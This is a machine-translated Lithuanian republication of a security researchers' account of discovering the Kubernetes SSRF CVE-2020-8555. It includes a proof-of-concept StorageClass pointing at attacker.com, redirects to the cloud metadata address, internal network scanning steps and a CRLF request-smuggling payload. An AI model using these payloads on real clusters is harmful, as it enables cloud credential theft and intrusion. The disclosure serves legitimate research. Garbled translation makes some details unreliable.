Kai kalbama ne tik apie Kubernetes pažeidžiamumą...

Pastaba. vert.: šio straipsnio autoriai išsamiai pasakoja apie tai, kaip jiems pavyko atrasti pažeidžiamumą CVE-2020-8555 Kubernetes mieste. Nors iš pradžių tai neatrodė labai pavojinga, kartu su kitais veiksniais kai kuriems debesų paslaugų teikėjams jo kritiškumas pasirodė esantis maksimalus. Kelios organizacijos dosniai apdovanojo specialistus už jų darbą.

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...

Kas mes esame

Esame du prancūzų saugumo tyrinėtojai, kurie kartu atrado „Kubernetes“ pažeidžiamumą. Mūsų vardai yra Brice'as Augrasas ir Christophe'as Hauquiertas, tačiau daugelyje Bug Bounty platformų esame atitinkamai žinomi kaip Reeverzax ir Hach:

Kas nutiko?

Šis straipsnis – tai mūsų būdas pasidalinti, kaip įprastas tyrimo projektas netikėtai virto įdomiausiu nuotykiu vabzdžių medžiotojų gyvenime (bent jau kol kas).

Kaip tikriausiai žinote, klaidų medžiotojai turi keletą svarbių savybių:

  • jie gyvena ant picos ir alaus;
  • jie dirba, kai visi kiti miega.

Mes nesame šių taisyklių išimtis: dažniausiai susitinkame savaitgaliais ir praleidžiame bemieges naktis įsilauždami. Tačiau viena iš šių naktų baigėsi labai neįprastai.

Iš pradžių ketinome susitikti aptarti dalyvavimo CTF kitą dieną. Pokalbio apie Kubernetes saugumą valdomoje paslaugų aplinkoje metu prisiminėme seną SSRF idėją (Serverio pusės užklausos klastojimas) ir nusprendė pabandyti naudoti jį kaip atakos scenarijų.

11 val. susėdome atlikti tyrimų ir anksti ryte nuėjome miegoti, labai patenkinti rezultatais. Būtent dėl ​​šio tyrimo susidūrėme su MSRC Bug Bounty programa ir sugalvojome privilegijų eskalavimo išnaudojimą.

Praėjo kelios savaitės/mėnesiai, o mūsų netikėtas rezultatas lėmė vieną didžiausių apdovanojimų Azure Cloud Bug Bounty istorijoje – be to, kurį gavome iš Kubernetes!

Remdamasis mūsų tyrimų projektu, Kubernetes produktų saugumo komitetas paskelbė CVE-2020-8555.

Dabar norėčiau kuo plačiau paskleisti informaciją apie rastą pažeidžiamumą. Tikimės, kad įvertinsite radinį ir pasidalinsite technine informacija su kitais infosec bendruomenės nariais!

Taigi čia mūsų istorija...

Kontekstas

Norėdami kuo geriau suprasti, kas nutiko, pirmiausia pažiūrėkime, kaip „Kubernetes“ veikia debesų valdomoje aplinkoje.

Kai tokioje aplinkoje sukuriate „Kubernetes“ klasterį, už valdymo lygmenį paprastai atsako debesies teikėjas:

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...
Valdymo sluoksnis yra debesies teikėjo perimetre, o Kubernetes mazgai yra kliento perimetre

Norint dinamiškai paskirstyti apimtis, naudojamas mechanizmas, leidžiantis juos dinamiškai pateikti iš išorinės saugyklos sistemos ir palyginti su PVC (nuolatinis tomo reikalavimas, t. y. tomo užklausa).

Taigi, po to, kai PVC yra sukurtas ir susietas su StorageClass K8s klasteryje, tolesnius veiksmus, kad būtų užtikrintas garsumas, perima kube / debesies valdiklio tvarkyklė (jo tikslus pavadinimas priklauso nuo leidimo). (Pastaba. vert.: Mes jau rašėme daugiau apie CCM, naudodamiesi jo diegimo vienam iš debesų paslaugų teikėjų pavyzdžiu čia.)

Yra keletas „Kubernetes“ palaikomų paslaugų teikėjų tipų: dauguma jų yra įtraukti orkestro branduolys, o kitus valdo papildomi teikimo įrenginiai, kurie yra talpinami klasterio grupėse.

Savo tyrime daugiausia dėmesio skyrėme vidiniam apimties aprūpinimo mechanizmui, kuris pavaizduotas toliau:

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...
Dinaminis tomų aprūpinimas naudojant integruotą Kubernetes teikimo priemonę

Trumpai tariant, kai „Kubernetes“ yra įdiegta valdomoje aplinkoje, už valdiklio valdytoją atsako debesies paslaugų teikėjas, tačiau apimties kūrimo užklausa (numeris 3 aukščiau esančioje diagramoje) palieka debesies teikėjo vidinį tinklą. Ir čia viskas tampa tikrai įdomi!

Įsilaužimo scenarijus

Šiame skyriuje paaiškinsime, kaip pasinaudojome aukščiau minėta darbo eiga ir pasiekėme debesies paslaugų teikėjo vidinius išteklius. Taip pat bus parodyta, kaip galite atlikti tam tikrus veiksmus, pvz., gauti vidinius kredencialus arba išplėsti teises.

Vienas paprastas manipuliavimas (šiuo atveju – Service Side Request Forgery) padėjo peržengti kliento aplinką į įvairių paslaugų teikėjų grupes valdomuose K8.

Savo tyrime daugiausia dėmesio skyrėme GlusterFS teikėjui. Nepaisant to, kad šiame kontekste aprašyta tolesnė veiksmų seka, „Quobyte“, „StorageOS“ ir „ScaleIO“ yra jautrūs tam pačiam pažeidžiamumui.

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...
Piktnaudžiavimas dinaminiu apimties aprūpinimo mechanizmu

Atliekant saugojimo klasių analizę „GlusterFS“ Golang kliento šaltinio kode mes pastebėjokad pirmoje HTTP užklausoje (3), išsiųstoje tomo kūrimo metu, iki pasirinkto URL pabaigos parametre resturl pridedamas /volumes.

Mes nusprendėme atsikratyti šio papildomo kelio pridėdami # parametre resturl. Čia yra pirmoji YAML konfigūracija, kurią naudojome pusiau akliam SSRF pažeidžiamumui patikrinti (Pvz., galite perskaityti daugiau apie pusiau aklą arba pusiau aklą SSRF, čia - apytiksliai vertimas.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Tada naudojome dvejetainį failą, kad nuotoliniu būdu valdytume Kubernetes klasterį kubectl. Paprastai debesų paslaugų teikėjai („Azure“, „Google“, AWS ir kt.) leidžia gauti kredencialus, skirtus naudoti šioje programoje.

Dėl to aš galėjau naudoti savo „specialųjį“ failą. „Kube-controller-manager“ įvykdė gautą HTTP užklausą:

kubectl create -f sc-poc.yaml

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...
Atsakymas užpuoliko požiūriu

Netrukus po to mes taip pat galėjome gauti HTTP atsakymą iš tikslinio serverio per komandas describe pvc arba get events kubectl. Ir iš tikrųjų: ši numatytoji „Kubernetes“ tvarkyklė yra per daug išsami įspėjimuose / klaidų pranešimuose...

Štai pavyzdys su nuoroda į https://www.google.frnustatyti kaip parametrą resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...

Taikydami šį metodą apsiribojome tokiomis užklausomis kaip HTTP POST ir negalėjo gauti atsakymo turinio, jei grąžinimo kodas buvo 201. Todėl nusprendėme atlikti papildomus tyrimus ir išplėtėme šį įsilaužimo scenarijų naujais metodais.

Mūsų tyrimo raida

  • Išplėstinis scenarijus Nr. 1: 302 peradresavimo iš išorinio serverio naudojimas norint pakeisti HTTP metodą, kad būtų galima lanksčiau rinkti vidinius duomenis.
  • Išplėstinis 2 scenarijus: automatizuokite LAN nuskaitymą ir vidinių išteklių aptikimą.
  • Išplėstinis scenarijus Nr. 3: naudojant HTTP CRLF + kontrabandą („užklausų kontrabanda“) kuriant pritaikytas HTTP užklausas ir nuskaitant duomenis, išskirtus iš kube valdiklio žurnalų.

Techninės specifikacijos

  • Tyrimo metu Šiaurės Europos regione buvo naudojama „Azure Kubernetes Service“ (AKS) su Kubernetes 1.12 versija.
  • Aukščiau aprašyti scenarijai buvo įvykdyti naudojant naujausius „Kubernetes“ leidimus, išskyrus trečiąjį scenarijų, nes jam reikėjo „Kubernetes“, sukurto naudojant „Golang“ versiją ≤ 1.12.
  • Užpuoliko išorinis serveris – https://attacker.com.

Išplėstinis scenarijus Nr. 1: HTTP POST užklausos peradresavimas į GET ir jautrių duomenų gavimas

Pradinis metodas buvo patobulintas užpuoliko serverio konfigūracija grįžti 302 HTTP Retcodenorėdami konvertuoti POST užklausą į GET užklausą (4 veiksmas diagramoje):

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...

Pirmasis prašymas (3) gaunamas iš kliento „GlusterFS“ (Controller Manager), turi POST tipą. Atlikę šiuos veiksmus galėjome tai paversti GET:

  • Kaip parametras resturl StorageClass yra nurodyta http://attacker.com/redirect.php.
  • Pasekmė https://attacker.com/redirect.php atsako 302 HTTP būsenos kodu su tokia vietos antrašte: http://169.254.169.254. Tai gali būti bet koks kitas vidinis išteklius – šiuo atveju peradresavimo nuoroda naudojama tik kaip pavyzdys.
  • Pagal nutylėjimą net/http biblioteka Golangas peradresuoja užklausą ir konvertuoja POST į GET su 302 būsenos kodu, todėl HTTP GET užklausa nukreipiama į tikslinį šaltinį.

Norėdami perskaityti HTTP atsakymo tekstą, turite tai padaryti describe PVC objektas:

kubectl describe pvc xxx

Štai HTTP atsakymo JSON formatu, kurį galėjome gauti, pavyzdys:

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...

Rasto pažeidžiamumo galimybės tuo metu buvo apribotos dėl šių punktų:

  • Neįmanoma įterpti HTTP antraščių į siunčiamą užklausą.
  • Neįmanoma atlikti POST užklausos su parametrais korpuse (tai patogu prašyti rakto vertės iš etcd egzemplioriaus, veikiančio 2379 prievadą, jei naudojamas nešifruotas HTTP).
  • Neįmanoma nuskaityti atsakymo turinio, kai būsenos kodas buvo 200, o atsakymas neturėjo JSON turinio tipo.

2 išplėstinis scenarijus: vietinio tinklo nuskaitymas

Tada šis pusiau aklas SSRF metodas buvo naudojamas debesų tiekėjo vidiniam tinklui nuskaityti ir įvairioms klausymosi paslaugoms (metaduomenų egzemplioriui, Kubelet ir kt.) pagal atsakymus apklausti. kube valdiklis.

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...

Pirmiausia buvo nustatyti standartiniai Kubernetes komponentų klausymo prievadai (8443, 10250, 10251 ir kt.), o tada teko automatizuoti nuskaitymo procesą.

Matydami, kad šis išteklių nuskaitymo būdas yra labai specifinis ir nesuderinamas su klasikiniais skaitytuvais ir SSRF įrankiais, nusprendėme sukurti savo darbuotojus bash scenarijuje, kuris automatizuoja visą procesą.

Pavyzdžiui, norint greitai nuskaityti 172.16.0.0/12 vidinio tinklo diapazoną, lygiagrečiai buvo paleista 15 darbuotojų. Aukščiau pateiktas IP diapazonas buvo pasirinktas tik kaip pavyzdys ir gali keistis atsižvelgiant į jūsų konkretaus paslaugų teikėjo IP diapazoną.

Norėdami nuskaityti vieną IP adresą ir vieną prievadą, turite atlikti šiuos veiksmus:

  • ištrinti paskutinį kartą patikrintą StorageClass;
  • pašalinti ankstesnę patvirtintą nuolatinę paraišką dėl apimties;
  • pakeiskite IP ir prievado reikšmes sc.yaml;
  • sukurti StorageClass su nauju IP ir prievadu;
  • sukurti naują PVC;
  • ištraukite nuskaitymo rezultatus naudodami PVC aprašą.

Išplėstinis scenarijus Nr. 3: CRLF įterpimas + kontrabanda HTTP „senose“ Kubernetes klasterio versijose

Jei be to, tiekėjas klientams pasiūlė senas K8s klasterio versijas и suteikė jiems prieigą prie kube-controller-manager žurnalų, poveikis tapo dar reikšmingesnis.

Užpuolikui iš tiesų daug patogiau keisti HTTP užklausas, skirtas gauti pilną HTTP atsakymą savo nuožiūra.

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...

Norint įgyvendinti paskutinį scenarijų, turėjo būti įvykdytos šios sąlygos:

  • Vartotojas turi turėti prieigą prie „kube-controller-manager“ žurnalų (kaip, pavyzdžiui, „Azure LogInsights“).
  • „Kubernetes“ klasteris turi naudoti senesnę nei 1.12 „Golang“ versiją.

Įdiegėme vietinę aplinką, kuri imitavo ryšį tarp „GlusterFS Go“ kliento ir netikro tikslinio serverio (kol kas neskelbsime PoC).

Buvo rastas pažeidžiamumas, turinčios įtakos senesnėms nei 1.12 „Golang“ versijoms ir leidžiančios įsilaužėliams vykdyti HTTP kontrabandos / CRLF atakas.

Sujungus aukščiau aprašytą pusiau aklą SSRF вместе tai galėjome siųsti užklausas pagal savo skonį, įskaitant antraščių, HTTP metodo, parametrų ir duomenų keitimą, kuriuos vėliau apdorojo kube valdiklio valdytojas.

Štai parametre veikiančio „masalo“ pavyzdys resturl StorageClass, kuri įgyvendina panašų atakos scenarijų:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Rezultatas yra klaida nepageidaujamas atsakymas, pranešimas apie kurį įrašomas valdiklio žurnaluose. Pagal numatytuosius nustatymus įjungtas išsamumas, HTTP atsakymo pranešimo turinys taip pat išsaugomas ten.

Kai kalbama ne tik apie Kubernetes pažeidžiamumą...

Tai buvo mūsų efektyviausias „masalas“ koncepcijos įrodymo rėmuose.

Naudodami šį metodą, galėjome įvykdyti kai kurias iš šių atakų prieš įvairių valdomų k8s teikėjų grupes: privilegijų eskalavimas naudojant kredencialus metaduomenų egzemplioriuose, pagrindinis DoS per (nešifruotas) HTTP užklausas etcd pagrindiniuose egzemplioriuose ir kt.

daiktai

Oficialiame Kubernetes pareiškime dėl mūsų aptikto SSRF pažeidžiamumo jis buvo įvertintas CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Jei atsižvelgsime tik į pažeidžiamumą, susijusį su Kubernetes perimetru, vientisumo vektorių (vientisumo vektorius) jis kvalifikuojamas kaip Nė vienas.

Tačiau įvertinus galimas pasekmes valdomos paslaugų aplinkos kontekste (ir tai buvo įdomiausia mūsų tyrimo dalis!), pažeidžiamumą perklasifikavome į reitingą. Kritinis CVSS10/10 daugeliui platintojų.

Toliau pateikiama papildoma informacija, kuri padės suprasti mūsų svarstymus, kai vertiname galimą poveikį debesų aplinkoje:

Vientisumas

  • Vykdykite komandas nuotoliniu būdu naudodami gautus vidinius kredencialus.
  • Aukščiau pateikto scenarijaus atkūrimas naudojant IDOR (nesaugios tiesioginės objekto nuorodos) metodą su kitais vietiniame tinkle esančiais ištekliais.

Konfidencialumas

  • Atakos tipas Šoninis judėjimas dėl debesies kredencialų vagystės (pavyzdžiui, metaduomenų API).
  • Informacijos rinkimas nuskaitant vietinį tinklą (nustatant SSH versiją, HTTP serverio versiją, ...).
  • Rinkti egzempliorių ir infrastruktūros informaciją apklausiant vidines API, pvz., metaduomenų API (http://169.254.169.254, ...).
  • Klientų duomenų vagystė naudojant debesies kredencialus.

Prieinamumas

Visi išnaudojimo scenarijai, susiję su atakų vektoriais vientisumas, gali būti naudojamas destruktyviems veiksmams, todėl pagrindiniai egzemplioriai iš kliento perimetro (ar bet kurio kito) negali būti pasiekiami.

Kadangi buvome valdomoje K8 aplinkoje ir vertinome poveikį vientisumui, galime įsivaizduoti daugybę scenarijų, galinčių turėti įtakos pasiekiamumui. Papildomi pavyzdžiai apima etcd duomenų bazės sugadinimą arba kritinį Kubernetes API iškvietimą.

Laiko eilutė

  • 6 m. gruodžio 2019 d.: apie pažeidžiamumą pranešta MSRC Bug Bounty.
  • 3 m. sausio 2020 d.: trečioji šalis pranešė „Kubernetes“ kūrėjams, kad dirbame su saugos problema. Ir paprašė jų laikyti SSRF vidiniu (pagrindiniu) pažeidžiamumu. Tada pateikėme bendrą ataskaitą su technine informacija apie problemos šaltinį.
  • 15 m. sausio 2020 d.: Kubernetes kūrėjams paprašius (per HackerOne platformą), teikėme technines ir bendrąsias ataskaitas.
  • 15 m. sausio 2020 d.: „Kubernetes“ kūrėjai pranešė, kad pusiau aklas SSRF + CRLF įpurškimas ankstesniems leidimams yra laikomas vidiniu pažeidžiamumu. Nedelsdami nustojome analizuoti kitų paslaugų teikėjų perimetrus: K8s komanda dabar sprendė pagrindinę priežastį.
  • 15 m. sausio 2020 d.: MSRC apdovanojimas gautas per „HackerOne“.
  • 16 m. sausio 2020 d.: Kubernetes PSC (Produktų saugumo komitetas) pripažino pažeidžiamumą ir paprašė jį laikyti paslaptyje iki kovo vidurio dėl didelio potencialių aukų skaičiaus.
  • 11 m. vasario 2020 d.: gautas „Google“ VRP apdovanojimas.
  • 4 m. kovo 2020 d.: „Kubernetes“ apdovanojimas gautas per „HackerOne“.
  • 15 m. kovo 2020 d.: iš pradžių planuotas viešas paskelbimas atidėtas dėl COVID-19 situacijos.
  • 1 m. birželio 2020 d.: „Kubernetes“ ir „Microsoft“ bendras pareiškimas apie pažeidžiamumą.

Lt; DR

  • Geriame alų ir valgome picą :)
  • Aptikome pagrindinį „Kubernetes“ pažeidžiamumą, nors neketinome to daryti.
  • Atlikome papildomą skirtingų debesų paslaugų teikėjų grupių analizę ir sugebėjome padidinti pažeidžiamumo padarytą žalą, kad gautume papildomų nuostabių premijų.
  • Šiame straipsnyje rasite daug techninių detalių. Mes mielai juos aptarsime su jumis (Twitter: @ReeverZax & @__hach_).
  • Paaiškėjo, kad visokie formalumai ir ataskaitų tvarkymas užtruko daug ilgiau nei tikėtasi.

Nuorodos

PS iš vertėjo

Taip pat skaitykite mūsų tinklaraštyje:

Šaltinis: www.habr.com

Добавить комментарий